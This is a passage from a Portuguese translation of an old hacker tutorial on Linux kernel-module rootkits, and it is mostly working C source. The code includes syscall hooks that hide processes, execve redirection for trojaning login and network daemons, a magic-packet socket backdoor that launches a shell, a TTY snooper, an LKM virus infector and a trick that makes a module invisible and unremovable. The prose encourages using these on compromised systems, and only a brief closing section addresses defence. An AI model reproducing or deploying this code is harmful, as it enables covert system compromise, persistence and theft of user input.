int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /*get task structure from PID*/ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /*get process name from task structure*/ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } /*check whether we need to hide this process*/ int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /*see II.4 for more information on filesystem hacks*/ int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*orig_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc=1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*module setup*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getdents]=orig_getdents; } O código parece complicado, mas se você sabe como ' ps ' eh todo processo que analisa ferramenta q esta funcionando, é realmente fácil entender. Comandos usando ' ps ' não usa nenhum systemcall especial por adquirir uma lista dos processos atuais (lá nao existe nenhum systemcall que faz isto). Através de strace em ' ps ' você reconhecerá que obtém sua informação do diretório /proc/ . Lá você pode achar muitos diretórios com nomes que só consistem em números. Esses números são o PIDs de todo o funcionamento processado naquele sistema. Dentro destes diretórios você encontrara arquivos que provêem qualquer informação sobre aquele processo. O ' ps ' só faz um ' ls ' em /proc/; todo número acha postos para um PID que mostra sua famosa lista. É ganha a informação que nos mostra sobre todo processo de ler os arquivos dentro de /proc/PID/. Agora você deveria adquirir a idéia. ' ps ' tem que ler os conteúdos do diretório /proc/ , assim tem que usar sys_getdents(...). Nós entao temos que adquirir o nome de um PID achado em /proc/; se é nosso nome de processo que nós queremos esconder, nós esconderemos isto de /proc/ (como nós fizemos com outros arquivos no filesystem - > veja 4.1). As duas funções de tarefa(task) e a função invisible(...) adquiri só o nome para um determinado PID no diretório de proc e matéria-prima relacionada. Os arquivo escondidos deveriam tentar limpar conforme demonstrado em 4.1. Eu melhoraria só um ponto em approuch de plaguez. Eu não sei por que ele usou uma atoi-function, simple_strtoul(...) seja o modo mais fácil, mas estes são peanuts. Claro que, em um hide module completo você colocaria arquivo e processo escondido em um hacked getdents call (isto é, o q plaguez fez.). Runar Jensen usou outro modo mais complicado. Ele também esconde o PIDs do diretório /proc, mas o modo dele confere se esta escondido ou não, é um pouco diferente. Ele usa o campo de flags na estrutura de tarefa. Este campo longo não assinado regularmente usa as constantes seguintes para economizar um pouco de informação sobre a tarefa: - PF_PTRACED: processo atual é observado - PF_TRACESYS: """" - PF_STARTING: processo vai começar - PF_EXITING: processo vai terminar Agora Runar Jensen soma a própria constante dele (PF_INVISIBLE) o qual ele usa para indicar que o processo correspondente deveria ser invisível. Assim um PID em /proc usando sys_getdents(...) não deve ser solucionado em seu nome. Você só tem que conferir para o campo de flags de tarefa. Isto soa mais fácil que a ' aproximação de nome '. Mas como fixar esta flag para um processo q nós queremos esconder. Runar Jensen usou o modo mais fácil enganchando sys_kill(...). O comando 'kill' pode enviar um código especial (9 para terminação, por exemplo) para qalquer processo especificado pelo PID dele. Assim comece seu processo que vai ser invisível, faça um ' ps ' por adquirir seu PID. E usa um a 'kill -code PID'. O campo de código deve ser um valor que não é usado pelo sistema (assim 9 seria uma escolha ruim); Runar Jensen levou 32. Assim o módulo precisa enganchar sys_kill(...) e confere para um código de 32. Nesse caso tem que se fixar a task flags campo do processo especificado pelo PID dado a sys_kill(...). Este é um modo para fixar o campo de flag. Agora está claro por que esta aproximação é um pouco muito complicado para um uso prático fácil. 5.2 Como redirecionar Execução de arquivos Em certas situações poderia ser muito interessante redirecionar a execução de um arquivo. Esses arquivos poderiam ser /bin/login (como plaguez fez), tcpd, etc.. Isto lhe permitiria inserir qualquer trojan sem problema de checagens de checksum nesses arquivos (você não precisa muda-los). Tão novamente procuremos o systemcall responsável. sys_execve(...) é um do qual nós precisamos. Demos uma olhada no modo de plaguez de redirecionamento(a idéia original veio de halflife): #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; /*must be defined because of syscall macro used below*/ int errno; /*we define our own systemcall*/ int __NR_myexecve; /*we must use brk*/ static inline _syscall1(int, brk, void *, end_data_segment); int (*orig_execve) (const char *, const char *[], const char *[]); /*here plaguez's user -> kernel space transition specialized for strings is better than memcpy_fromfs(...)*/ char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } /*this is something like a systemcall macro called with SYS_execve, the asm code calls int 0x80 with the registers set in a way needed for our own __NR_myexecve systemcall*/ int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { char *test; int ret, tmp; char *truc = "/bin/ls"; /*the file we *should* be executed*/ char *nouveau = "/bin/ps"; /*the new file which *will* be executed*/ unsigned long mmm; test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); /*get file which a user wants to execute*/ (void) strncpy_fromfs(test, filename, strlen(truc)); test[strlen(truc)] = '\0'; /*do we have our truc file ?*/ if (!strcmp(test, truc)) { kfree(test); mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; /*set new program name (the program we want to execute instead of /bin/ls or whatever)*/ memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); /*execute it with the *same* arguments / environment*/ ret = my_execve((char *) (mmm + 2), argv, envp); tmp = brk((void *) mmm); } else { kfree(test); /*no the program was not /bin/ls so execute it the normal way*/ ret = my_execve(filename, argv, envp); } return ret; } int init_module(void) /*module setup*/ { /*the following lines choose the systemcall number of our new myexecve*/ __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_execve]=orig_execve; } Quando você carregou este módulo, toda chamada para /bin/ls executará entao /bin/ps. A lista seguinte lhe dá algumas idéias como usar este redirecionamento de execve: - trojan /bin/login com um login hacker (como plaguez sugere) - tcpd trojan para abrir um rootshell em uma certa porta, ou filtrar seu behaviour anotando (se lembra de CERT aconselhador em um trojan versão de TCPD) - inetd trojan para uma rootshell - httpd trojan, sendmail,... qualquer servidor do que você pode pensar, para um rootshell, emitindo um especial magic string - ferramentas trojan como tripwire, L6 - outras ferramentas relevantes de seguranca de sistemas Ha milhares de outros programas de intersting para 'trojan', entao use seu cérebro. 6. Hacking relacionado a Rede (Socket) A Rede é o playground do hacker. Assim vejamos algo que pode nos ajudar. 6.1 Como controlar Operacões de Sockets Há muitas coisas que você pode fazer controlando Operações de Socket. plaguez fez uma backdoor agradável. Ele entao intercepta o systemcall sys_socketcall e espera por um pacote com uma certa duração e um certo conteúdo. Assim demos uma olhada no hacked systemcall dele (eu mostrarei só o hacked_systemcall, porque o resto é igual a todo outro LKM mencionado nesta seção): int hacked_socketcall(int call, unsigned long *args) { int ret, ret2, compt; /*our magic size*/ int MAGICSIZE=42; /*our magic contents*/ char *t = "packet_contents"; unsigned long *sargs = args; unsigned long a0, a1, mmm; void *buf; /*do the call*/ ret = (*o_socketcall) (call, args); /*did we have magicsize & and a recieve ?*/ if (ret == MAGICSIZE && call == SYS_RECVFROM) { /*work on arguments*/ a0 = get_user(sargs); a1 = get_user(sargs + 1); buf = kmalloc(ret, GFP_KERNEL); memcpy_fromfs(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1; /*do we have magic_contents ?*/ if (strstr(buf, mtroj)) { kfree(buf); ret2 = fork(); if (ret2 == 0) { /*if so execute our proggy (shell or whatever you want...) */ mmm = current->mm->brk; ret2 = brk((void *) (mmm + 256)); memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); /*plaguez's execve implementation -> see 4.2*/ ret2 = my_execve((char *) mmm + 2, NULL, NULL); } } } return ret; } Ok, como sempre eu adicionei alguns comentários para o código que é um pouco feio, mas funciona. O código intercepta todo sys_socketcall (que é responsável para tudo relativo a socket-operations veja I.2). Dentro do hacked systemcall o primeiro código assume um systemcall normal. Depois de que o valor de retorno e chama são conferidas as variáveis. Se fosse um receive Socketcall e o 'packetsize' (... nada haver com TCP/IP Packets...) é o q conferirá os conteúdos que foram recebidos. Se pode achar nossos conteúdos magic, o código pode ser seguro , P/ q nós (hackers) possamos iniciar o programa backdoor. Isto é feito através de my_execve(...). Na minha opinião esta aproximação é muito boa, também seria possível esperar por um speciel connect / close padrão íntimo, só seja criativo. Por favor lembre-se que os métodos mencionaram sobre necessidade um serviço que lista em uma certa porta, porque a receive function só é emitida através de daemons dados receptores de uma conexão estabelecida. Esta é uma desvantagem, porque podia ser um bit um pouco suspeito para alguns admins paranóico. Teste essa primeira ideia de backdoor de LKM em seu sistema e veja o que acontece. Ache seu modo favorito de backdoor'ing o sys_socketcall, e use em seus sistemas hackeados. 7. Modos para Sequestrar TTY Sequestrar TTY é muito interessante e também eh algo muito usado a muito tempo. Nós podemos agarrar toda introducao de um TTY, nós especificamos qual seu número maior e menor. Na Phrack 50 halflife publicaram um LKM realmente bom que faz isto. O código seguinte é retirado do LKM dele. Deveria mostrar para todo novato os fundamentos de seguestrar TTY, que entretanto sem nenhuma implementação completa, você não pode usar isto de qualquer modo útil, porque eu não implementei um modo de anotar a introducao TTY feito pelo usuário. É apenas para q alguns de voces q querem entender os fundamentos, entao, aqui vamos nos: #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int errno; /*the TTY we want to hijack*/ int tty_minor = 2; int tty_major = 4; extern void* sys_call_table[]; /*we need the write systemcall*/ static inline _syscall3(int, write, int, fd, char *, buf, size_t, count); void *original_write; /* check if it is the tty we are looking for */ int is_fd_tty(int fd) { struct file *f=NULL; struct inode *inode=NULL; int mymajor=0; int myminor=0; if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode)) return 0; mymajor = major(inode->i_rdev); myminor = minor(inode->i_rdev); if(mymajor != tty_major) return 0; if(myminor != tty_minor) return 0; return 1; } /* this is the new write(2) replacement call */ extern int new_write(int fd, char *buf, size_t count) { int r; char *kernel_buf; if(is_fd_tty(fd)) { kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL); memcpy_fromfs(kernel_buf, buf, count); /*at this point you can output buf whereever you want, it represents every input on the TTY device referenced by the chosen major / minor number I did not implement such a routine, because you will see a complete & very good TTY hijacking tool by halflife in appendix A */ kfree(kernel_buf); } sys_call_table[SYS_write] = original_write; r = write(fd, buf, count); sys_call_table[SYS_write] = new_write; if(r == -1) return -errno; else return r; } int init_module(void) { /*you should know / understand this...*/ original_write = sys_call_table[SYS_write]; sys_call_table[SYS_write] = new_write; return 0; } void cleanup_module(void) { /*no more hijacking*/ sys_call_table[SYS_write] = original_write; } Os comentários devem deixar este código mais legivel. A idéia geral é interceptar sys_write (veja 4.2) e filtrar o fd estimam como eu mencionei em 4.2. Depois de conferir fd para o TTY nós queremos bisbilhotar, adquirimos os dados escritos e escrevemos isto a algum 'log' (não implementado no exemplo acima). Lah estao vários modos onde você pode armazenar o logs. halflife usaram um buffer (acessível por um próprio dispositivo) que é uma idéia boa (ele também pode controlar o hijack'er (sequestrador) dele usando ioctl-commands no dispositivo dele). Eu recomendo q armazene os logs escondendo-o pessoalmente (por LKM) em um arquivo, e fazendo o controle por algum tipo de IPC(Inter Process Comunication). Depende do modo em que funciona em seu sistema hackeado. 8. Vírus escritos com LKMs Agora nós deixaremos a parte de hacking em segundo plano e daremos uma olhada no mundo de codificacao de vírus (as idéias discutidas aqui também poderiam ser interessantes para hackers, assim prossiga lendo...). Eu concentrarei esta discussão no infector de LKM feito por Stealthf0rk/SVAT. No apêndice 'A' você adquirirá a fonte completa, assim esta seção discutirá apenas técnicas importantes e funções. Este LKM requer um sistema Linux (foi testado em um sistema 2.0.33) e com kerneld instalado (eu explicarei por que). Em primeiro lugar você tem que saber que este infector de LKM não infeta elf executaveis normalmente (também seria possivel, e verão isso depois ->7.1), só infeta módulos que estão carregados / descarregados. Isto que carrega/descarrega é administrado frequentemente através de kerneld (veja I.7). Assim imagine um módulo infetado com o código de vírus; quando também carregando este módulo você carregam o vírus LKM que funciona escondendo suas características (veja 8). Este módulo de vírus interceptam os systemcalls sys_create_module e sys_delete_module (veja I.2) para infecção adicional. Sempre que um módulo é descarregado naquele sistema é infetado pelo systemcall sys_delete_module novo. Assim todo módulo através do kerneld (ou manualmente) será infetado quando descarregado. Você poderia imaginar o enredo seguinte para a primeira infecção: - admin está procurando um driver de Rede para o cartao de interface novo dele (ethernet,...) - ele começa procurando na Web - ele acha um driver module que deveria funcionar no sistema dele & carrega isto - ele instala o módulo no sistema dele [o módulo é infetado]--> o infector é instalado, o sistema é compromissado Claro que, ele não carregou a fonte, ele estava com preguissa e desconsiderou os riscos que levam um arquivo binário. Entao admins, nunca confiem em qualquer arquivo binário (especialmente módulos). Assim eu espero que você veja os riscos de infectors de LKM, agora pareçamos um pouco mais íntimo ao infector de LKM por SVAT. Imagine você tem a fonte para o vírus LKM (um módulo simples que intercepta sys_create_module / sys_delete_module e algum outro [mais enganador] materiais). A primeira pergunta seria como infetar um módulo existente (o módulo anfitrião). Bem façamos alguns experimentos. Leve dois módulos e 'cat' eles junto: # cat module1.o >> module2.o Depois desta prova para insmod o resultando module2.o (que também inclui module1.o a seu fim). # insmod module2.o Ok funcionou, agora cheque que módulos estão carregados em seu sistema, # lsmod Module Pages Used by module2 1 0 Assim nós sabemos que concatenando dois módulos o primeiro (relativo a código de objeto) será carregado, o segundo será ignorado. E nao haverá nenhum erro que diz que insmod não podem carregar código corrompido ou assim. Pensando nisto, deveria estar claro que um módulo de anfitrião pudesse ser infetado por 'cat host_module.o >> virus_module.o' 'ren virus_module.o host_module.o' --> (mv) Carregando host_module.o deste modo carregarão o vírus com todas suas características de LKM agradáveis. Mas há um problema, como nós carregamos o host_module atual? Seria muito estranho a um usuário / admin que o device driver dele não funcionasse. Aqui nós precisamos da ajuda do kerneld. Como eu disse em I.7 que você pode usar kerneld para carregar um módulo. Só request_module de uso ("module_name") em seu sources. Este kerneld forçarão a carregar o módulo especificado. Mas onde nós adquirimos o módulo de anfitrião original dele? É acumulado em host_module.o (junto com virus_module.o). Assim depois de compilar seu virus_module.c para seu objectcode você têm q olhar seu tamanho (quantos bytes). Depois disto sabe você onde o host_module.o original começará no acumulado (você tem que compilar o virus_module duas vezes: o primeiro para conferir o objectcode e classificar segundo o tamanho, a segunda com a fonte mudada relativo a objectsize que deve ser hardcoded...). Estes passos seu virus_module deveriam buscar extrair o host_module.o original do acumulado. Você tem que salvar isto extraindo o modulo em algum lugar, e carrega isto por request_module ("orig_host_module.o"). Depois de carregar o host_module.o original seu virus_module (que também está carregado por insmod [emitido por usuário, ou kerneld]) pode começar infectando qualquer módulo carregado. Stealthf0rk (SVAT) usou o systemcall sys_delete_module(...) por fazer a infecção, assim demos uma olhada no hacked systemcall dele (eu só adicionei alguns comentários): /*just the hacked systemcall*/ int new_delete_module(char *modname) { /*number of infected modules*/ static int infected = 0; int retval = 0, i = 0; char *s = NULL, *name = NULL; /*call the original sys_delete_module*/ retval = old_delete_module(modname); if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) return retval; /*check files to infect -> this comes from hacked sys_create_module; just a feature of *this* LKM infector, nothing generic for this type of virus*/ for (i = 0; files2infect[i][0] && i < 7; i++) { strcat(files2infect[i], ".o"); if ((s = get_mod_name(files2infect[i])) == NULL) { return retval; } name = strcpy(name, s); if (!is_infected(name)) { /*this is just a macro wrapper for printk(...)*/ DPRINTK("try 2 infect %s as #%d\n", name, i); /*increase infection counter*/ infected++; /*the infect function*/ infectfile(name); } memset(files2infect[i], 0, 60 + 2); } /* for */ /* its enough */ /*how many modules were infected, if enough then stop and quit*/ if (infected >= ENOUGH) cleanup_module(); vfree(name); return retval; } Bem há só uma função interessante neste systemcall: infectfile(...). Assim examinemos aquela função (novamente apenas alguns comentários foram adiconados por mim): int infectfile(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; /*don't get confused, this is a macro define by the virus. It does the kernel space -> user space handling for systemcall arguments(see I.4)*/ BEGIN_KMEM /*open objectfile of the module which was unloaded*/ in = open(filename, O_RDONLY, 0640); /*create a temp. file*/ out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); /*see BEGIN_KMEM*/ END_KMEM DPRINTK("in infectfile: in = %d out = %d\n", in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /*copy module objectcode (host) to file2*/ cp(file1, file2); BEGIN_KMEM file1->f_pos = 0; file2->f_pos = 0; /* write Vircode [from mem] */ DPRINTK("in infetcfile: filenanme = %s\n", filename); file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); cp(file2, file1); close(in); close(out); unlink(tmp); END_KMEM return 0; } Eu acho que a função de infecção esta bastante clara. Soh falta uma coisa da qual eu acho q seja necessário discutir: Como fazer o módulo infetado primeiro começo o vírus, e carrega o módulo original (nós sabemos a teoria, mas como fazer isto em realidade)? Por responder esta pergunta objetiva, deixa um olhar a uma função chamada load_real_mod(char *path_name, char* name) que administra aquele problema: /* Is that simple: we disinfect the module [hide 'n seek] * and send a request to kerneld to load * the orig mod. N0 fuckin' parsing for symbols and headers * is needed - cool. */ int load_real_mod(char *path_name, char *name) { int r = 0, i = 0; struct file *file1, *file2; int in = 0, out = 0; DPRINTK("in load_real_mod name = %s\n", path_name); if (VirCode) vfree(VirCode); VirCode = vmalloc(MODLEN); if (!VirCode) return -1; BEGIN_KMEM /*open the module just loaded (->the one which is already infected)*/ in = open(path_name, O_RDONLY, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; /* read Vircode [into mem] */ BEGIN_KMEM file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); close(in); END_KMEM /*split virus / orig. module*/ disinfect(path_name); /*load the orig. module with kerneld*/ r = request_module(name); DPRINTK("in load_real_mod: request_module = %d\n", r); return 0; } Deveria fikar claro o *porque* de este infector de LKM precisam de kerneld agora, nós precisamos carregar o módulo original com request_module(...). Eu espero que você entenda esta jornada muito básica pelo mundo de infectors de LKM (vírus). As próximas seções de substituicao mostrarão para alguem, extensões e idéias básicas sobre infectors de LKM. 8.1 Como um vírus de LKM pode infetar qualquer arquivo (não só módulos; prototipo) Por favor não me culpe por não mostrar um exemplo de funcionamento desta idéia, eu não tenho tempo para implementar isto no momento (olhar para lançamentos adicionais). Como você viu em II.4.2 que é possível pegar o execute de todo arquivo que usa um systemcall sys_execve(...) interceptado. Agora imagine um hacked systemcall que junta alguns dados para o programa que vai ser executado. O da próxima vez este programa é começado, isto primeiro começa nossa parte adicionada e então o programa original (só um esquema de vírus básico). Todos nós sabemos que há alguns Linux / unix vírus existentes lá fora, assim por que nao tentarmos usar LKMs q não infecte nossos 'elf' executaveis e só modules. Nos poderiamos infectar nossos executaveis, de um modo que eles conferem para UID=0 e então carregam nosso módulo de infecção novamente... Eu espero que você entenda a idéia geral. Eu tenho que admitir, que a modificação precisou de arquivos 'elf' e é bastante enganador, mas com bastante tempo você poderia fazer isto (entao dê uma olhada em vírus de Linux existentes). Em primeiro lugar você tem que conferir o tipo de arquivo que vai ser executado através de sys_execve(...). Há vários modos de se fazer isto; um do mais rápidos eh ler alguns bytes do arquivo e os conferindo contra o ELF string. Depois disto pode usar você write(...) / read(...) / ... chamadas para modificar o arquivo, olhe o infector de LKM para ver como fazer isto. Minha teoria ficaria teoria sem qualquer prova, assim eu apresento um LKM *script* infector, muito fácil e inútil. Você não pode fazer vírus com isto, entao infecte uma escritura com certos comandos e nada mais; nenhuma caracteristica real de vírus. Eu lhe mostro este exemplo como um conceito de LKMs que infecta qualquer arquivo q você executa. Até mesmo poderiam ser infetados arquivos em Java, por causa das características providas pelo Kernel. Aqui vem a pequena escritura do LKM infector: #define __KERNEL__ #define MODULE /*taken from the original LKM infector; it makes the whole LKM a lot easier*/ #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} #include #include #include #include #include #include #include #include #include #include #include #include #include int __NR_myexecve; extern void *sys_call_table[]; int (*orig_execve) (const char *, const char *[], const char *[]); int (*open)(char *, int, int); int (*write)(unsigned int, char*, unsigned int); int (*read)(unsigned int, char*, unsigned int); int (*close)(int); /*see II.4.2 for explanation*/ int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } /*infected execve systemcall + infection routine*/ int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { char *test, j; int ret; int host = 0; /*just a buffer for reading up to 20 files (needed for identification of execute file*/ test = (char *) kmalloc(21, GFP_KERNEL); /*open the host script, which is going to be executed*/ host=open(filename, O_RDWR|O_APPEND, 0640); BEGIN_KMEM /*read the first 20 bytes*/ read(host, test, 20); /*is it a normal shell script (as you see, you can modify this for *any* executable*/ if (strstr(test, "#!/bin/sh")!=NULL) { /*a little debug message*/ printk("<1>INFECT !\n"); /*we are friendly and attach a peaceful command*/ write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME")); } END_KMEM /*modification is done, so close our host*/ close(host); /*free allocated memory*/ kfree(test); /*execute the file (the file is execute WITH the changes made by us*/ ret = my_execve(filename, argv, envp); return ret; } int init_module(void) /*module setup*/ { __NR_myexecve = 250; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { printk("<1>everything OK\n"); sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } /*we need some functions*/ open = sys_call_table[__NR_open]; close = sys_call_table[__NR_close]; write = sys_call_table[__NR_write]; read = sys_call_table[__NR_read]; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_execve]=orig_execve; } É muito fácil desperdiçar algumas palavras nisto. Claro que, este módulo não precisa de kerneld para funfar (interessante para Kerneis sem apoios de kerneld) Eu espero que você adquira a idéia em infectar qualquer executável, este é um método muito forte de sistemas grandes mortais. 8.2 Como um virus de LKM nos ajuda a entrar Como você deve saber, coders de vírus não são hackers, assim isso cobre características interessantes para hackers. Pense neste problema (só dez segundos), você deveria perceber, que um sistema inteiro pudesse ser seu introduzindo um trojan (infectado) LKM. Lembre-se de todos o hacks agradáveis q nós discutimos até agora. Ainda q sem trojans você poderia hackear um sistema com LKMs. Entao use um transbordamento local mais amarelo para carregar um LKM em seu directoy Home. Acredite, é mais fácil de infectar um sistema com um LKM realmente bom do que fazendo os mesmos eskemas novamente e novamente como root. É mais elagente deixar o LKM fazer o trabalho para você. Seja CRIATIVO... :-) 9. Fazendo nosso LKM invisível & irremovivel Agora é hora de começar a falar sobre o mais importante e interessante no Hack. Eu apresentarei. Esta idéia vem do LKM q plaguez publicou na Phrack (outras pessoas como Solar Designer discutiu isto antes...). Facilmente nós podemos esconder arquivos, processos, diretórios, e tudo que que nós queremos. Mas nós não podemos esconder nosso próprio LKM. Entao carregue um LKM e dê uma olhada em /proc/modules. Há muitos meios p/ nós podermos resolver este problema. A primeira solução poderia ser um arquivo parcial que esconde (veja II.4.3). Isto seria fácil implementar, mas há um modo melhor mais avançado e seguro. Usando esta técnica você também têm que interceptar o systemcall sys_query_module(...). Um exemplo desta aproximação pode ser visto em A-b. Como eu expliquei em I.1 que um módulo está finalmente carregado emitindo um systemcall init_module(...) que começará a função de init do módulo. init_module(...) adquire um argumento: struct mod_routines *routines. Esta estrutura contém informaçoes muito importantes q carregam o LKM. É possível para nós manipular alguns dados de certo modo desta estrutura nosso módulo nao terá nenhum nome e nenhuma referência. Depois deste o sistema já não mostrará nosso LKM em /proc/modules, porque ignora LKMs sem nome e uma conta de refernce igual para 0. O espetáculo de linhas seguinte como ter acesso a parte de mod_routines para esconder o módulo. /*from Phrack & AFHRM*/ int init_module() { register struct module *mp asm("%ebp"); // or whatever register it is in *(char*)mp->name=0; mp->size=0; mp->ref=0; ... Este código confia no fato de gcc não manipular o registrador 'ebp' porque nós precisamos disto para achar a localização de memória certa. Depois de achar a estrutura nós podemos fixar o nome da estrutura e membros de referências para 0 que fará nosso módulo invisível e também irremovivel, porque você pode remover só LKMs que o kernel conhece, mas nosso módulo é desconhecido para o kernel. Lembre-se que este truque só funciona se você usa gcc de modo que não toque o registro que você precisa ter acesso por adquirir a estrutura. Vc tem que usar as opções de gcc seguintes: # gcc -c -O3 -fomit-frame-pointer module.c fomit-frame-pointer diz p/ cc q não mantém ponteiro de armação em registros para funções que não precisam de um. Isto mantém nosso registro limpe depois da chamada de função de init_module(...), de forma que nós podemos ter acesso a estrutura. Na minha opinião este é o truque mais importante, porque nos ajuda desenvolver LKMs escondidos que sao também irremoviveis. 10. Outros modos de abusar do Kerneldaemon Em II.8 você viu um modo de abusar kerneld. Nos ajudou a efetuar o infector de LKM. Também poderia ser útil para nosso backdoor de LKM (veja II.5.1). Imagine o socketcall que carrega um módulo em vez de começar nosso shellscript de backdoor ou programa. Você poderia carregar um módulo que adiciona uma entrada para passwd ou inetd.conf. Depois de carregar este segundo LKM você têm muitas possibilidades de systemfiles variável. Novamente, seja criativo. 11. Como fazer para checar a presenca de nosso LKM Nós aprendemos muitos modos do qual um módulo pode nos ajudar a subverter um sistema. Assim imagine se vc coda uma ferramenta de backdoor agradável (ou leva uma q ja existe) que não é implementado no LKM q vc usa naquele sistema; só algo como pingd, WWW remote shell, shell,.... Como você pode conferir depois de anotar no sistema que seu LKM ainda está funcionando? Imagine o que aconteceria se você entra em uma sessão e o admin está esperando por você sem seu LKM carregado (assim nenhum processo eh escondido etc.). Assim você começa fazendo o trabalho naquele sistema (lendo seus próprios logs, conferindo um pouco de tráfico de correio e assim por diante) e todo passo é monitorado pelo admin. Bem nenhuma situação boa, nós temos que saber que nosso LKM está funcionando com uma checagem simples. Eu suponho q o modo seguinte é uma solução boa(embora possa haver muitos outros bons): - implemente um systemcall especial em seu módulo - escreva um programa user space que cheque aquele systemcall Aqui esta um módulo que implementa nosso ' check systemcall ': #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #define SYS_CHECK 200 extern void* sys_call_table[]; int sys_check() { return 666; } int init_module(void) /*module setup*/ { sys_call_table[SYS_CHECK]=sys_check; return 0; } void cleanup_module(void) /*module shutdown*/ {} Se você emite um systemcall com o número 200 em eax nós deveríamos adquirir um retorno de 666. Aqui esta nosso programa user space que serve para isto: #include #include #include extern void *sys_call_table[]; int check() { __asm__("movl $200,%eax int $0x80"); } main() { int ret; ret = check(); if (ret!=666) printf("Our module is *not* present !!\n"); else printf("Our module is present, continue...\n"); } Na minha opinião este é um dos modos mais fáceis de conferir a presenca de nosso LKM, entao tente. III. Solucoes (para admins) 1. LKM Detector Teoria & Ideias Acho q esta na hora de ajudar admins que querem seguranca em seu sistema contra LKMs hostis. Antes de explicar algumas teorias lembre-se do seguinte para um sistema seguro: * nunca instale qualquer LKM q vc não tem os fontes ( claro que, isto tambem eh pertinente para executaveis) * se vc tem os fontes, os confira (se poder). Lembre-se do problema de trojan de tcpd. Pacotes de software grandes são principalmente bastante complexos de entender, mas se vc precisa de um sistema seguro vc deve analisa o codigo -fonte. Ate mesmo se vc segue essas dicas, poderia ser possivel que um intruso ative um LKM em seu sistema (overflows,exploitacao etc.). Aih poderiamos fazer um LKM que loga todo modulo carregado,e negue toda tentativa de carga de um diretorio diferente de um seguro (evitar overflows simples; isso não eh nenhum modo perfeito ...). Logar os modulos pode ser feito facilmente interceptando o systemcall create_module(...). O mesmo modo que vc poderia conferir o diretorio de onde o modulo 